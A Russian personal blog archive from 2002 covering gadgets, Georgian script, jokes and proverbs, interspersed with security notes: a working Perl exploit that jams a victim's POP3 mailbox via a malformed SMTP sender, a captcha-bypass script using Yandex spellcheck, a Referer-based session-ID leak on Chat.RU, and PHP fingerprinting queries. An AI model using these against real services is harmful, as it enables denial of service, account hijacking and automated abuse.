Евгений Степанищев

Я — эксперт в области разработки веб-приложений и безопасности в интернете. Каждый месяц мой блог посещают около 90 тысяч человек. Работаю техническим директором в «Системах документооборота», занимаюсь электронным правительством.

Масяня, кнопка, грузинский алфавит-II, Valyard

Други!
Вот и прошла еще одна неделя и я снова на боевом посту - пишу новый выпуск. Как я уже говорил, буду стараться выдержать еженедельный ритм - на большее у меня пока не хватает времени.

Бейсболка (4Kb) Всем фанатам Масяни! В магазине Болеро появились бейсболки (460 р), футболки (460 р) и куклы (260 р) от Масяни.

Я побежал покупать! :) Поскольку стафы сии разбросаны по категориям, дам прямые ссылки, которые поместят товар прямо в корзину:

Футболки с Масяней: белая, M белая, L белая, XL белая, XXL чёрная, M чёрная, L чёрная, XL чёрная, XXL

Бейсболка "Масяня", Кукла "Масяня", большая, "Масяня" на карабине "Масяня" на присоске

Осталось только выяснить, какой у меня размер. Обычно, я футболки просто меряю, делая первое приближение "на глазок". Вечером найду дома пару футболок и постараюсь выяснить какая буква или цифра на них обозначает заветный параметр.

Видели когда-нибудь такую загрузку на сервере? ;) Результат пуска одного экспериментального проекта, думаю, цифра была еще выше, но это последнее значение, которые удалось снять перед тем, как сервер упал в голодный обморок от нехватки ресурсов.

  7:43pm  up  7:33, 9 users,  load average: 238.70, 199.29, 85.48

Суперсверхполезный сайт Кнопка для нажимания. Насколько я понимаю - пародия на моду заводить сайты для всего подряд - зубных щеток, шоколадных батончиков, столовых вилок, презервативов и так далее. Судя по гостевой книге (да-да, там есть гостевая книга), народ юмором не проникся, некоторые даже попытались найти в нажимании на кнопку какой-то смысл!

Наша мрачная действительность отучает воспринимать окружающее с юмором?

Дабы вернуть вам хорошее расположение духа, которое наш человек теряет, стоит упомянуть словосочетание "мрачная действительность", предлагаю к прочтению некий пост, выловленный на просторах news-конференций.


-------------------------------------------------------------------
* Area : XSU.USELESS.FAQ (XSU.USELESS.FAQ)
* From : Max Pervukhin, 2:5000/111.35 (Воскресенье Июль 29 2001 15:43)
* To   : Roman Shirokoff
* Subj : солома
===============================================================
 ¦  Салют, *Roman*!                                             

Tuesday July 24 2001 20:08, Roman Shirokoff -== Arthur Zatsarinsky:


 YS>>> По слухам, у япошек-китайцев была казнь, которая заключалась в
 YS>>> том, что
 YS>>> человека кормили исключительно мясом. Якобы, для нормального
 YS>>> пищеварения
 YS>>> необходима клетчатка, а при ее отсутствии человек погибал
 YS>>> мучительной смертью.

 AZ>>  Причем исключительно ЖАРЕHЫМ слоновьим мясом, насколько я
 AZ>> знаю...

 RS> Откуда в Японии слоны?

В этом и фишка - человек умирал от голода.

-+- [ maxfirst@mail.ru ] --- [ uin: 50245928 ] ---
 + Origin: Is it true I can spread my wings ? (2:5000/111.35) 
==============================================================


Продолжая разговор о грузинской письменности. Под градом аргументов Макса Головина и Темураза Абашидзе я складываю оружие. :)

Из писем я узнал много интересного. Грузинский алфавит состоит из 33 букв, в составе которого, кроме букв, которые имею эквиваленты в русском, есть примерно 10, которые оных не имеют.

Например, есть буква, которая произносится, со слов Темураза, как слитное "ДЖ" (я подозреваю, что та же буква писалась в татарской кириллической письменности, как "ж" с хвостиком и произносится, примерно, как "ж" в слове "дрОжжи"). В качестве другого примера, можно привести "Т" на выдохе.

В грузинском нет родов, больших, маленьких букв, ударений и все пишется так, как слышится. Грузинская письменность одна из немногих (всего их примерно 14) оригинальных мировых письменностей.

И, наконец, (спасибо Темуразу) мои имя, фамилия и отчество на грузинском. Произносится, как "стЕпанишэви Эвгени влАдимерис дзе". Хотя ударения в грузинском, как я уже сказал, нет, но во всех словах лёгкое ударение делается на первом слоге. Что, в общем-то, логично - куда-то же надо его ставить, иначе слова получаются неэмоциональными, безликими, как у робота.

ФИО (1.6Кб)


Я уже начинаю жалеть, что не грузинский, а английский стал компьютерным языком. Только у меня ощущение, что от руки это все рисовать очень долго, хотя, может быть есть адаптированная для скорости рукописная письменность?

Valyard.Site (8.8Kb) Для тех, кто интересуется технологией Flash и тем, что с ней связано, наверняка будет интересен сайт Valyard.

Его ведущий, Валентин Симонов рассказывает о новостях в мере Флеша - новых сайтах, программах обработки, роликах и инструментах, появляющихся в этой области. Сайт обновляется ежедневно.

Единственный небольшой недостаток - "по умолчанию" сайт на английском. Я, например, далеко не сразу разглядел "переключатель" на русский язык (на скриншоте его хорошо видно) и уверен, что большинство уходит с сайта, подумав, что сайт только для англоязычных посетителей.

Пишите и удачных выходных!
Комментировать
25 мая 2002 14:44

МестаРу, Sun Catcher, Записки, в последний раз о Chat.RU

Всем привет!
Прошу прощения за столь долгое отсутствие, к сожалению, дела так засосали, что выкраивать даже десять минут на написание 10-15 килобайт текста мне не удавалось. Впредь обещаю исправиться и писать хотя бы каждую неделю.

сайт (9Кб) Для начала угадайте, что за изображено на скриншоте справа. Хм... А, ну да, там же написано - сайт Места.Ру.

Может у меня что-то с глазами, но мне кажется, что скриншот этот сильно напоминает дизайн моего сайта. Пользователи разнообразных Lynx, Link и других текстовых браузеров могут мне поверить на слово, остальным ничего не мешает убедиться в этом самостоятельно.

Будет еще один экземпляр, открою музей клонирования. :)

Приходилось бывать в ситуации, когда, в солнечный погожий денек, когда все хорошо, отличное настроение и рядом сплошь милые и симпатичные люди, неожиданно выясняется, что аккумулятор на сотовом телефоне сел, зарядка осталась черт знает где, да это и не важно, ведь ближайшая розетка в десяти километрах, а единственный способ раздобыть немного электричества - кинуть в стакан с водой пять и пятьдесят копеек?

Зарядка (5.1Kb) В последнее время, способов решить эту проблему придумано масса. Я, например, уже писал о телефоне, работающем на том же принципе, что и фонарик "Жук". Штука хорошая, но имеющая минимум два недостатка - необходимо иметь телефон подходящей модели и, кроме того, крутить ручку - дело довольно утомительное.

Компания PowerQwest выпускает устройство с говорящим названием Sun Catcher (я не зря упоминал солнце :), выпускается "Catcher" в трех модификациях - "Sport", "Professional" и "Expedition", различающихся по мощности.

Если "Sport" хватит, чтобы запитать сотовый телефон или PDA, то "Professional" уже умеет запитывать устройства побольше, например ноутбуки. В некоторых ситуациях, скажем, для поездок на природу, вещь незаменимая.

Полагаю, в российской действительности ноутбук от "профессиональной" версии работать не будет - придется раскошелится на "Expedition".

В России эту штуку продает, например, Pregrad.Net, услугами которого я уже как-то пользовался. "Sport" обойдется в 145 $, остальные модели не представлены, но их можно заказать. Хорошая штука, если буду покупать ноутбук, обязательно подумаю о её приобретении.

Один из самых смешных методов снятия защиты, о котором я читал. Все пересказывать не буду, по ссылке есть подробности, но вкратце расскажу.

Суть в следующем, RIAA потратила кучу денег на разработку защиты от копирования компакт-дисков, которая сводится к тому, что на диске содержится некий трек где записано нечто, что заставляет компьютер зависать, а на обычные проигрыватели никакого влияния не оказывает.

Снимается защита,... ни за что не догадаетесь,.. обычным маркером, которым на границе вредоносного трека аккуратно чертится полоска. Защита снята, диск можно проигрывать где угодно, парни из RIAA рвут волосы друг другу, девушки из RIAA нервно курят и пьют кофе, ребята, разработавшие защиту, чешут затылки и, видимо, ищут работу.

JAPH - страничка, посвященная, на первый взгляд странным, а для тех, кто не знает Перл - кошмарным, программам, которые занимаются тем, что выводят на экран фразу "Just another Perl hacker" (отсюда и сокращение).

В одном из выпусков, лень искать где, я уже приводил что-то подобное. Смысл написания такой программы, как мне видится, один - написать её так, чтобы у того, кто попытается разобраться, как она работает, волосы встали. Дыбом.

Посмотреть стоит, даже если о Перле прочитали в первый раз несколькими предложениями выше - есть шедевры, при взгляде на которые сначала разбирает сомнение - действительно ли они работают. :) Хороший язык Perl.

P.S. Правда, иногда меня посещают крамольные мысли, что хороший язык PHP для некоторых вещей подходит больше.

Записки бывшего постмастера (7.4Kb) Записки бывшего постмастера. Исключительно интересный сайт, читаю с удовольствием. По содержанию - сборная солянка с уклоном в компьютерно-интернетовскую тематику.

Как только его нашел - пролистал его целиком и сейчас, когда случаются обновления, читаю его с большим удовольствием. Мужик, если читаешь эти строки, знай - я твой фанат. :)

Давным-давно я занялся проверкой веб-мейлов на дыры и баги и с тех пор делаю, время от времени вялые набеги то на одну, то на другую службу. Сегодня я забегал на Chat.RU с надеждой на перемены, в плане защиты, к лучшему.

Все оказалось даже грустнее, чем я ожидал. В Chat.RU применяется обычная схема авторизации - после логина к пользователю прикрепляется некий идентификатор, который следует за пользователем по страницам сайта, как песец за белым медведем. Куки, которые сайт сайт зачем-то выставляет, никак в этом процессе себя не проявляют, так что о них можно смело забыть.

Идентификатор передается в строке запроса и, если удастся инициировать переход на отвлеченный сайт, преспокойно останется в логах этого сайта, как referrer. Обычно вся загвоздка заключается в том, чтобы инициировать переход без ведома пользователя. В случае с Chat.RU никакой проблемы нет. Срабатывает любой прием, который первым придет в голову.

Можно, например, использовать теги IMG или IFRAME и подгружать туда страницу, которая ведет логи. Никакой защиты от этой ситуации в этой службе не предусмотрено.

У меня есть несколько читателей, которые, как я знаю, пользуются веб-интерфейсом этой службы. Обращаюсь к ним и тем, кто решил завести почтовый ящик на Chat.RU - НЕ используйте эту службу! При таком наплевательском отношении к защите, неизвестно, в безопасности ли ваша почта, даже в том случае, если вы не используете веб-интерфейс.

Спасибо всем за письма! Обязательно отвечу тем, кому не ответил, в ближайшее время, обозрею все, что не успел обозреть и напишу то, что не успел написать. Всем удачных выходных. Пишите!.
Комментировать
18 мая 2002 22:30

Еще о защите от роботов, грузинский алфавит, FL90

Всем привет!
В середине месяца мой организм срочно затребовал отдыха, понизив температуру до 35°С. Пришлось дать ему отдохнуть. Теперь я снова в строю.

Технологии защиты от программной регистрации совершенствуются. Я уже как-то писал про метод обхода технологии, по сей день применяемой на Chat.RU.

Недавно, на одном из сайтов я увидел, на первый взгляд, довольно удачную схему защиты. Идея в следующем. На последнем этапе регистрации пользователю предлагается удалить из слова, написанного с ошибкой, лишнюю букву. Слова достаточно простые, человек с легкостью справился бы с такой задачей. Машине куда сложнее.

Но, как известно, на каждое действие найдется противодействие. Для обхода защиты мне пришло в голову использовать сервисы портала "Яndex". Многие его сервисы (например, энциклопедии, пытаются исправить опечатки в словах, введенных клиентом, предлагая варианты написания.

Написать скрипт, который бы послал запрос на сервер и вычленял из ответа вариант написания - минутное дело. Я эту минуту потратил, скрипт ниже. Интересно, сколько писали защиту?


#!/usr/bin/perl
use LWP::UserAgent;

exit unless @ARGV;

$url = 'http://lingvo.yandex.ru/cgi-bin/lingvo.pl?text=';

$ua  = LWP::UserAgent->new();
$res = $ua->request(HTTP::Request->new(GET => $url.$ARGV[0]))->content;

if ($res =~ m{<a href="/cgi-bin/lingvo.pl\?CardId=[^>]+">([^<]+)</a>}s)
{
        print $1;
} else
{
        print shift;
};
print "\n";


Занимает он всего 300 байт с копейками и легко справляется с подобного рода защитой. Бесплатные сервисы - великая вещь!

Такое ощущение, что о программировании на PHP стали писать все, кому не лень. Тому пример. Ужасающее количество ошибок в статье. Предлагаю, в качестве развлечения, попытаться их найти. Утверждается, что писал профессионал в области программирования на PHP (интересно, а что это вообще значит, "профи по PHP"?).

В ответ на публикацию в предыдущем выпуске глаголицы, Teimuraz Abashidze прислал мне табличку с различными грузинскими алфавитами. Третий столбец - современный алфавит (кроме 5-ти символов, которые сейчас не используются).

Грузинские алфавиты (15.7Кб)

Тоже весьма, с эстетической точки зрения, приятный алфавит. Вот, например, как выглядит дата моего рождения, записанная грузинскими буквами (если, конечно, правила записи цифр там такие же, как и те, к которым я привык):

13 9 1977 (0.6Kb)

Teimuraz Abashidze считает, что ничего общего у этого алфавита с глаголицей нету. Мне кажется, что алфавиты весьма похожи. Ни у кого нет сведений о том, находятся эти алфавиты в родстве или нет?

По поводу синхронизации с писюком при помощи мигания экраном. Устройств с таким способом ввода намного больше, чем я ожидал. Видимо, они просто недостаточно разрекламированы. Например, о следующем устройстве, о котором мне написал Niclaus, в интернете почти ничего нет.

N>> Доброго времени суток! По поводу часов фирмы Timex. Не только часы. У
N>> меня есть карманный органайзер (часы, будильник, шедулер, календарь,
N>> записная книжка), который коннектится с PC таким же образом. Памяти в
N>> нём 8 kb, и придавалась к нему дискета с программой под Windows, в
N>> которой можно записать данные в телефонную книжку, шедулер и т.д.,
N>> время синхронизируется с часами компьютера. При нажатии кнопки
N>> "передать данные" монитор чернеет, а потом по нему начинают бежать
N>> белые полоски. Органайзер видит всё это через фотодиод и пищит, если
N>> данные передаются без ошибок. Из 8 килобайт памяти органайзера
N>> вручную, т.е. с его клавиатуры , можно заполнить только 2, остальные 6
N>> - только при помощи PC. Удобная вещь! Купил 3 года назад в Англии, до
N>> сих пор пользуюсь. И ещё, насколько помню, поддержка подобных
N>> устройств была встроена в Outlook 97, по поводу следующих версий - не
N>> знаю.

ES> А как девайс называется?

Royal FL90 pc organizer


Производит его всё та же Timex, но на сайте компании я ничего, кроме ссылки на софт для этого органайзера не нашел. То ли товар не является приоритетным, то ли снят с производства.

Интересно, кстати, появятся ли устройства, которые смогут не только воспринимать данные с экрана, но и сами "мигать в писюх", каким-нибудь дешевым способом. Например, механически нажимать клавишу, к которой его поднесут. На пробел, скажем, или клавиши мыши. Можно управлять длительностью и скоростью. Думаю, из этого может что-то получиться... :)

Комментировать
29 апреля 2002 20:50

Lesnik, опять о «2+2x2», «мыслете» и P@l.mate, глаголица

На исходе века взял да и поверг
Злого человека добрый человек,
Из гранатомета шлеп его, козла,
Знать оно, добро-то, посильнее зла!

Евгений Лукин

Всем привет!

Надеюсь, все уже поиграли во флешевую игрушку "Убей извращенцев"? Отличная штука, если не особо ассоциировать себя с главным действующим лицом.

"Убей извращенцев" (7.4Kb) Но иногда от действа абстрагироваться не удается и становится.. хм.. несколько обидно, что семь здоровых голых мужиков.. в общем, не будем об этом.

Для восстановления попранной чести и психологического комфорта мы с братом изготовили патч, который дает бесконечные патроны, позволяет получать жизни и после 15-го уровня и убивает врагов при их попытке пристроиться сзади. Любая из этих опций отключается ключами, информацию о которых можно получить, запустив программу без параметров.

Пользоваться патчем просто - выкачайте себе файл с флешем и запустите патч с именем файла в первом параметре. Патч написан сразу на двух языках - Perl и VBScript (первую половину писал Олег, вторую - я), так что в Windows его можно запускать из командной строки, а в Unix'e - скармливать интерпретатору Perl.

Для тех, кто не в курсе игры, проведу краткую вводную. Действие происходит в лесу, населенным странными голыми одинаковыми мужчинками (далее - извращенцами), которые стремятся использовать вас для удовлетворения своих низменных потребностей. Интрига заключается в том, что герой, который вы управляете - тоже мужчина, но уже одетый и вооруженный двустволкой.

Лес разбит на участки, которые, силой оружья, предлагается расчистить от извращенцев. Можно спастись бегством, но если участок расчищен полностью на следующем вас ожидает масса приятных бонусов - жизней и поясов с патронами.

Патронов хватает впритык и, чтобы пройти достаточно далеко, придется овладеть искусством убивать извращенцев пачками за раз. В ружье помещается только 5 патронов, при попытке перезарядить ружье туда войдет ровно 5 патронов, остальные пропадут. Внизу есть индикатор, где видно, сколько у вас осталось поясов с патронами, патронов и извращенцев на экране.

Об управлении. Space - стрелять, Left, Right - повороты, Up, Down - вперед, назад, Enter - перезарядить.

Кстати, о нетрадиционной любви. В коридоре, ведущем из офиса, услышал потрясающую фразу: "Секс по телефону без сигареты - это не романтично...". Человек явно знает в этом толк. :)

Ссылочка, на страницу, выводящую число "Пи". Вы на URL посмотрите! Ровно 62 символа после запятой! (больше не позволяет RFC по доменным именам).

http://3.141592653589793238462643383279502884197169399375105820974944592.jp/

Ссылочку прислал Булат Каримов

Для тех, кто спрашивал у меня про проект FreeInet. Ссылочки вот и вот. И еще раз напоминаю, что занятие это, по всей видимости, незаконное.

Калькулятор История, про 2+2*2 имела неожиданное продолжение. Напоминаю, что 2+2*2 = 6, не зависимо от того, написано это на экране или это диктуют по телефону. Таковы правила математики.

Так вот. Виндовый калькулятор в "научном" и "обычном" режиме считают по-разному. Первый не вычисляет выражение, пока не было нажато "равно" или "Enter", второй считает результат сразу.

В итоге, если набрать "2+2*2=" в калькуляторе, то в зависимости от режима, вы получите, либо "6", либо "8". :)

По поводу пословицы "Все люди как люди, а мы как мыслете". Ни у кого из читателей мыслей по поводу происхождения поговорки не появилось. При мозговом штурме в офисе, Александр Ефремов высказал мысль, что "люди" в этой фразе имеет двоякий смысл - обозначает в "людей" и букву.

В самом деле, некогда буквы были не просто "эм, эль, ща" и прочее, а обозначали некоторые слова. Так буква "М" называлась "мыслете", а "Л" - люди. Возможно, в пословице речь идет о написании этих букв, "М" - это, по сути, удвоенная, "Л", но подтверждения этому в интернете я не нашел. Может быть все-таки кто-то знает, что означает эта пословица? :)

Кстати, роясь в интернете в попытке узнать что-нибудь об этой пословице, я набрел на любопытную программу. Как известно, кроме кириллицы, есть вторая славянская азбука - глаголица. На чем-то похожем сейчас пишут грузины.

На сайте харьковского университета можно посмотреть, как выглядела эта азбука и, заодно, скачать программу, которая позволяет узнать, как выглядит какое-либо слово на глаголице.

Ниже, например, написано "Евгений Степанищев ака БОЛК".

Фраза на глаголице (2.9Kb)

Можно напечатать на визитке или бейджике, будет очень стильно. :)

Не так давно я писал скрипт, который стримит через себя платное видео и прерывает передачу, если деньги на счету кончились. Выяснилось, что Internet Explorer и, по всей видимости, только он, очень неэкономно распоряжается трафиком.

Не знаю, каким образов Explorer выясняет чем нужно показать данные, которые он скачивает, но делает это он очень своеобразно. Сначала он скачивает первую порцию данных, количество которых, похоже, определяется толщиной канала или временем запуска плагина. Чем эти параметры больше, тем больше данных успеет скачаться. На основе полученных данных IE "понимает" какому ActiveX'у их надо передать дальше, для этого он прекращает прием первой порции, делает новый запрос и передает плагину данные из нового потока.

У меня на Pentium-III с хорошим диском и каналом в два мегабита иногда успевает скачиваться до 700 килобайт трафика, до того, как плагин Эксплорера начинает проигрывать данные заново. Всех владельцев платных каналов - поздравляю с этим открытием.

Любопытный образчик распространения новости. Я, конечно, ничего не хочу сказать, но...

19 февраля Kauk прислал письмо о празднике 4 апреля и прислал ссылку на 404.bonjour.ru.
29 марта я опубликовал его на сайте.
30 марта ссылка появилась в Anfrax'e. За подписью "nevermind".
1 апреля появилась заметка на эту тему в Compulenta. Источником проставлен сайт Bonjour.

Далее тема стала проскакивать на разнообразных форумах и сайтах.

По поводу способа передачи файлов в P@l.mate. Способ оказался древнее, чем я предполагал. Спасибо Igor Nesterov за следующее письмо.

Идею с миганием экраном придумала фирма Timex. Около 94 года они изобрели часы-органайзер со связью с компьютером. Связь была односторонняя, но чексумма таки проверялась. Была возможность закачивать тудушки, телефоны и напоминалки из своей софтины и ms schedule (теперь и из аутлука).

Десктопная часть софта была разработана совместно с ms и шла на дистрибутивном диске win'95 (у кого сохранился оригинальный диск, то там был каталог datalink).

Самый шик - у часов была возможность загрузки wristapp, апплетов по-теперяшнему. Были апплеты с таймером, с конвертором валют и подобной байдой, которая влезала в один килобайт. Любители раскололи все - протокол обмена, API апплетов (внутри был 8-битный мотороловский процессор). Способ вытаскивания фирмвари из часов был улетный - был написан апплет, который кодировал байты прошивки через играние алармов. На десктопе звуковуха считывала с микрофона и декодировала звуки. Часов за двенадцать управились.

До чего могут дойти программисты в своем желании постигнуть "что-вот-у-этой-штуки-втутри". :) Жаль, что фирма, выпустившая P@l.mate не догадалась предоставить пользователям сервиса для написания своих собственных программ. Впрочем, это был бы уже другой ценовой уровень.

Кстати, не факт, что P@l.mate не умеет выполнять сторонние приложения. Возможно, способность у него такая есть, но в программе, которая передает данные она не задействована. В версии под Windows 9x/ME есть, например, возможность заливать некую "icon", в версии под Windows 2000 такой возможности нет.

Подробнее о часах, которые умеют синхронизироваться с компьютером, в частности об изделиях фирмы Timex можно прочитать на сайте SwissWatches.

Всем, как водится, удачных выходных.Пишите в мыло и на форум.
Комментировать
6 апреля 2002 20:00

PHP eggs, Posfix+Washington POP = sux, P@l.Mate, 4.04

Я был замечен в ожидании чуда...
"Сегодня ночью"

Всем привет!
Жизнь чудная штука. В последний месяц я один раз чуть не погиб, в первый раз сходил на балет, в первый раз съел пиццу с анчоусами, попробовал осьминогов, выковыривал ртуть из-под паркета с паркетом вместе, мерз, в очередной раз перекрашивался, увидел самого Гарри Потера, потел, дрался с кошкой, двигал мебель, делал покупки, был в депрессии и занимался еще черт знает чем.

Этот месяц подходит к концу, приближается первое апреля. С чем я вас и поздравляю. Середина весны и минус четыре за окном. Большая просьба - первого апреля мне не писать, ибо все письма будут автоматически считаться розыгрышем и перемещаться в /dev/пень. :)))

Каждый, кто хоть раз видел результат работы функции phpinfo() в PHP, задумывался, наверное, как подгружаются картинки в сформированный HTML-документ. Для тех, кто об этом не задумывался, скажу. Картинка с логотипом PHP подгружается запросом "?=PHPE9568F34-D428-11d2-A769-00AA001ACF42" к тому же PHP-файлу, а логотип Zend - запросом "?=PHPE9568F35-D428-11d2-A769-00AA001ACF42".

Отступление. Кстати, я посмотрел исходники и обнаружил, что запрос "?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000" выводит имена разработчиков PHP, а "?=PHPE9568F36-D428-11d2-A769-00AA001ACF42" - пасхальное яйцо, фото какого-то мужика с карандашами во рту.

Запрос работает применительно к любому PHP-файлу, вне зависимости есть там внутри функция phpinfo или нет. Эту замечательную особенность можно использовать.

Во-первых, с ее помощью можно узнать является ли страница результатом работы программы на PHP или, может быть, имеет PHP-включения, куда передаются параметры запроса.

Во-вторых, если администратор сервера запретил показ версии PHP в сигнатуре сервера, просматривая страницу с модулями, можно попробовать идентифицировать версию PHP с некоторой точностью.

При атаке на сервер иногда пригождается любая, даже самая незначительная, на первый взгляд, информация. При помощи этих "магических" запросов можно многое узнать о способе, выбранным разработчиком для представления динамического контента, что может в некоторых случаях оказаться полезным.

Вчера, разбирая протокол SMTP и экспериментируя с отправкой почты из telnet'а, я неожиданно наткнулся на одну интересную последовательность, которая приводит к весьма любопытным последствиям. Не знаю подвержены ли данной уязвимости другие системы, у меня она проявляется на конфигурации Postfix 20010525-alt2 - Washington POP3 v2000.70.

SMTP-сервер Postfix'a ограничивается минимальными проверками на синтаксис полей SMTP. Таким образом становится возможным формирование письма, содержащего в своем заголовке весьма странные символы. В таком виде письмо попадает в спул, где дожидается, когда его заберет POP или IMAP - сервер.

Вашингтонскому POP3-серверу, при попытке взять такое письмо становится дурно. Ниже - пример попытки забрать такое письмо с сервера.



[root@du bulk_mailer]# telnet xxx.xxx.xxx.xxx 110
Trying xxx.xxx.xxx.xxx...
Connected to thug.private (xxx.xxx.xxx.xxx).
Escape character is '^]'.
+OK POP3 thug v2000.70MdkRE server ready
USER ********
+OK User name accepted, password please
PASS ********
-ERR Unable to open user's INBOX
Connection closed by foreign host.


Необходимое условие - для использования этой уязвимости, письмо с вредоносными кодом должно быть первым в mail box'e. Эксплоит на Perl'e, использующий данную уязвимость приведен ниже.



use IO::Socket;
die "Usage: $0 <e-mail> <server>\n" unless @ARGV == 2;

$socket = IO::Socket::INET->new(PeerAddr => $ARGV[1],
                                PeerPort => 25,
                                Proto => "tcp",
                                Type => SOCK_STREAM);

print "<< ".<$socket>;
for ('HELO domain', "MAIL FROM: "."\10" x 1000, "RCPT TO: $ARGV[0]", 'DATA', '.')
{
        print $socket "$_\n";
        print ">> $_\n<< ".<$socket>;
};

close $socket;


P@l.Mate (4.2Kb) Движимый отличной рекламой в Кулере огранайзера со скромным названием P@l.Mate. Я решил этот чудный девайс купить.

Если кто-то не читает Кулера, то я вкратце расскажу о чем идет речь. P@l.Mate позиционируется, как самый маленький в мире PDA с touch screen. PDA, в полном смысле этого слова он, конечно, не является, но что вы хотели за такую цену?

За размерами 45х10х70мм скрываются функции часов, будильника, записной книжки, планировщика, калькулятора, гороскопа, плюс пара игр. Управление осуществляется шестью белыми кнопками на морде и прикосновениями к экрану. Ввод текстовой информации осуществляется через небольшую клавиатурку (на скриншоте ее плохо, но видно), куда надо тыкать специальным стилом, которое мы тут же окрестили "зубочисткой". Кстати, стило довольно просто потерять, так что в комплекте их целых три штуки.

Стоит это чудо 539 рублей и продается в корпусах трех цветов: красного, синего и серого.

Выдающейся особенностью органайзера является возможность забирать данные с другого miniPDA или, а вот это уже интересно, с персонального компьютера. Но и это меня бы ничем не удивило, если бы не способ, которым это все осуществляется.

В попе у P@l.Mate торчит пара из фотоэлемента и светодиода, когда P@l.Mate готов к обмену информации, передающая сторона мограет туда свой идентификатор и органайзер понимает с кем он сейчас будет иметь дело. Если это PC, светодиод не используется, так как у PC в стандартном комплекте нет ничего, что бы могло принимать его мигание, но, думаю, ничего не мешает собрать приставку, которая будет инициировать двухсторонний обмен с PC, прикинувшись другим miniPDA... впрочем, я отвлекся.

Для того, чтобы органайзер получил информацию ему в фотодиод надо чем-то помигать. Для этого с сайта Mini-PDA.com скачивается программа, которая умеет мигать экраном или клавиатурными лампочками, делая в нужных местах паузы и реверансы.

Ессно, никакого подтверждения приема нет, а коды, исправляющие ошибки, видимо из соображений стоимости, внедрять не стали. Поэтому в некоторых случаях, примерно в одном из 20-30 закачка информации заканчивается ошибкой. Но это, на самом деле, не страшно.

Брал я органайзер в подарок жене, она давно просила найти ей симпатичный блокнот, вот я и нашел... :) После нескольких дней совместного ;) использования могу поделиться впечатлениями.

Дарить P@l.Mate человеку с приличным размером запястья не стоит - в ладони органайзер будет теряться, зато тем, у кого зрение далеко не идеальное, особо опасаться не стоит - буквы и цифры на экране куда больше, чем, например, на наручных электронных часах.

Беда всех органайзеров и многих PDA - звук, не обошел стороной и эту модель. Ничего особо ужасного, но иногда раздражает. Звук можно отключить, но тут вас поджидает сюрприз номер раз - будильник и планировщик, при попытке напоминания, будут заходиться в беззвучном крике.

Сюрприз номер два - в игры играть довольно скучно. Из всего набора - "однорукий бандит" и "гонки" играть, не рискуя повредиться рассудком, можно только в "бандита", но и это занятие быстро приедается... Впрочем, может быть я просто не люблю такие игры.. Вот, например, советский волк с корзиной (помните такого?) наводил на меня скуку.

Сюрприз номер три. Под Windows XP синхронизация не проходит - экран мигает, но органайзер жалуется на невозможность определить устройство. Впрочем, может быть мне просто не повезло.

Сюрприз номер четыре. Эта штука неожиданно хорошо выглядит и ей даже можно пользоваться! Это действительно сюрприз! Рекомендую однозначно. Сам я, как вы наверное уже поняли, покупал P@l.Mate в "Болеро" - есть доставка почтой или курьером, в последнем случае деньги можно отдать прямо курьеру, очень удобно!

Адрес самой популярной страницы в интернете знают все - это та, где написано "404 Not Found" ;). Номер этой ошибки можно, при наличии фантазии, записать, как 4.04, что можно расшифровать, как 4-е апреля.

Кому-то из создателей сайта Bonjour пришла в голову светлая идея организовать 4-го апреля чисто интернетовский праздник. Учитывая, что 4-е апреля - день покровителя интернета святого Исидора, эта мысль мне кажется совсем недурственной.

Предлагаю всем прочувствовать сию светлую идею и отпраздновать этот день, как полагается - виртуальными пьянками и киберпопойками. Всех с наступающим!

Ссылку прислал Alexander Katalymov aka Kauk.

Как водится - удачных выходных! Пишите в мыло и на форум.
Комментировать
29 марта 2002 10:20

Концы, iPad, telnet SW, failures for you

Язык - мой!
BOLK

BOLK в депрессии (3Kb) Всем привет!
Как всем, наверное, уже известно, недавно я был в состоянии, которое близкие люди определили, как депрессию. Вот уж не знаю, что со мной происходило и что преобладало - желание, чтобы меня оставили в покое или потребность в общении.

В общем, местами я оправдывал написание своего ника, местами - был паинькой, сейчас уже все прошло и я опять повернулся к широкой общественности передней частью своего тела. Let's rock!

Проект LJ, к которому я относился с некоторым опасением заимел-таки меня в свои поганые сети. До того, чтобы завести аккаунт я еще не дошел, но захожу туда теперь регулярно. С удивлением узнал, что многие мои друзья уже вовсю используют этот суррогат жилетки, куда можно поплакаться или сморкнуться. Но чего я уж вообще не ожидал, так это забрести случайно на страницу Тёмы Лебедева.

Вот пара выдержек, которые мне показались очень интересными:


А вот, почему-то, почти никто из москвичей и гостей столицы не знает, что в московском метро остановки объявляются мужским и женским голосом.

Мужским - в сторону центра. Женским - в сторону от центра.

Мнемоническое правило для запоминания простое - начальник зовет на работу (в центр), жена зовет домой (на окраину :-)
 

Со временем поговорки, как и любые длинные общеизвестные фразы, теряют свой "хвост" - люди просто ленятся его произносить. А зачем, если концовку и так все знают? В итоге усеченная фраза, пережив несколько поколений коренным образом меняет свой смысл. Так сейчас происходит, например, с фразами "не плюй в колодец", "слово - не воробей" и многими другими. У Тёмы есть любопытная коллекция таких фраз, привожу с инвертированием мата:


Голод не тетка - пирожка не подсунет (а иначе не понятно, почему не тетка, собственно)
Смех-смехом, а адзип к верху мехом (первая часть вошла в употребление как эвфемизм и осталась сама по себе)
Не учи ученого, поешь говна копченого (печеного)
Нам, татарам, все равно - что ьтабе подтаскивать, что хыннабе оттаскивать (вариант - "нам, татарам, одна йух...")
Слово за слово, меух по столу
Кончай жедзип, начинай жёбе!
Кто старое помянет, тому глаз долой, а кто старое забудет - тому оба вон (эту часть все забывают :-)
Старый конь борозды не испортит... да неглубоко пашет (а не то, что его можно смело пускать в поле, как некоторые ошибочно думают)
Собаку съел, хвостом подавился (сегодня первая часть употребляется в значении "опытный человек")
Я - не я, и лошадь не моя, и я не извозчик
Рука руку моет, да обе свербят
Чудеса в решете - дыр много, а выйти некуда
Ни рыба, ни мясо, ни кафтан, ни ряса
Губа не дура, язык не лопата
Хлопот - полон рот, а прикусить нечего
Собачья жизнь: брехать нужно, а есть нечего
Ума палата, да ключ потерян
Копейка ребром, покажится рублем
Дураку хоть кол теши, он своих два ставит
Лиха беда начало: есть дыра, будет и прореха
Два сапога пара, оба левые
Гладко было на бумаге, за забыли про овраги, а по ним ходить
Петух тоже думал на кухарке жениться, да в суп попал
В период тотальной безграмотности населения из всех искусств для нас важнейшими являются кино и цирк.
Не все коту масленица, наступит и великий пост.
Губа не дура, язык не лопата - знает где сладко.
И рыбку съесть, и на таратайке прокатиться.
Пьяному - море по колено, а в луже захлебнется.
Пьяному море по колено, а лужа по уши.
Повторенье - мать ученья, утешенье дураков.
Голод не тетка - в лес не прогонишь...
Рука руку моет, вор вора кроет.
Смелым бог владеет, а пьяным черт качает.
